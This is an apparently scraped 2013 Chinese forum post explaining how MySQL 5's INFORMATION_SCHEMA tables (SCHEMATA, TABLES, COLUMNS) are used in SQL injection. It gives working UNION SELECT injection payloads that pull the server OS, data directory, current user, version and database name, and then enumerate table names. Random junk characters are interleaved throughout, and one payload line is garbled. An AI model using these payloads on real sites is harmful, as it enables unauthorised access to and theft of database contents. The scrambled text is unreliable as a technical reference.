标题: mysql5.0注入原理 [打印本页] 作者: admin 时间: 2013-3-7 13:24 标题: mysql5.0注入原理 记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。5 v( `, _, }) ]+ V
/ r* O6 Q4 n2 u- |. K4 f, Y
" |2 C$ {- P( X2 h" f3 W+ M
' D3 z( S) O. a V2 V9 O7 P2 ^: j
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其$ Z, ~0 `9 Q7 R }9 _
中记录了Mysql中所有 ; \8 x7 a/ T% `) a& b/ x存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说 4 T1 n+ u/ I$ N! o1 [明。 2 `& A6 e1 d8 Q _9 G' h3 |1.得到所有数据库名: l% l+ H+ T% q% d' v- H|SCHEMATA ->存储数据库名的表- M8 F9 `$ [% Q7 _7 s2 k
|—字段:SCHEMA_NAME ->数据库名称 $ ?2 n% q0 @) L' c! S/ \ 8 L( D- y4 i8 g; E' ^|TABLES ->存储表名) F8 A' c C& P, {
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名 : g5 k+ S+ X) t4 ?|—字段:TABLE_NAME ->存储表的表名 - a- D) V% l1 G. k @' H * s7 R* ]& Y& S& C|COLUMNS ->存储的字段名表% q/ B1 M+ b1 v& Q p% L' A
|—字段:TABLE_SCHEMA ->该字段所属数据库名$ T/ P y9 k- d1 I8 ], N
|—字段:TABLE_NAME ->存储所属表的名称 7 c$ m7 Y. N: @: Z' B 9 q0 s8 X- d, k; {- F# P% l|—字段:COLUMN_NAME ->该字段的名称 , _5 }# v1 H* o# Y; }- e( P ' g* G8 ]% f! w* e0 W S# Y#########################################################################5 s! G1 o( Z6 w4 _9 t% q: G6 x+ c
## - w/ x; g- R+ t" c : j7 t3 X, k+ @: c2 c0×001 获取系统信息:/ o# r" A- M) j6 P( j
% M/ f$ A4 h+ r1 ^2 V
union select 1,2,3,4,5,concat / K2 f, n2 \' K1 O(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user 0 J, @7 e0 X) y& [# N(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /* & @! Z4 E7 S. A+ a! P- c- \. K" L5 }4 h5 c) x) r4 Q
/* e( x& }# _# V' {# v+ A 3 }4 w6 U5 q& m b@@global.version_compile_os 获取系统版本 9 w0 p& B% p s2 I( ^; Z % n( B1 }2 Z: o, |" J" ?@@datadir 数据库路径: J/ A6 b; C0 I; D R
database() 当前数据库名称" Y5 U2 I3 g2 I8 r6 d8 k
0x3c62723e 换行HEX值( c# d w3 x' W. ^0 `
: N8 M7 n6 a7 f. u; j& x* I
*/6 R/ N8 j9 H& O3 c8 ]1 O
' N6 s: j) @) J9 D; c1 }
###################################################################### : D4 Z6 a" v( M& u$ Z/ f- j; A: m3 M7 E! |, e
0×002 获取表名, l+ z* ?6 I: v- \
' t, \( t& K' Z' Nunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from# |" b# ^8 q9 J. L1 `& C
information_schema.tables where table_schema=0x67617264656e /*% ]! O. |0 R5 f$ w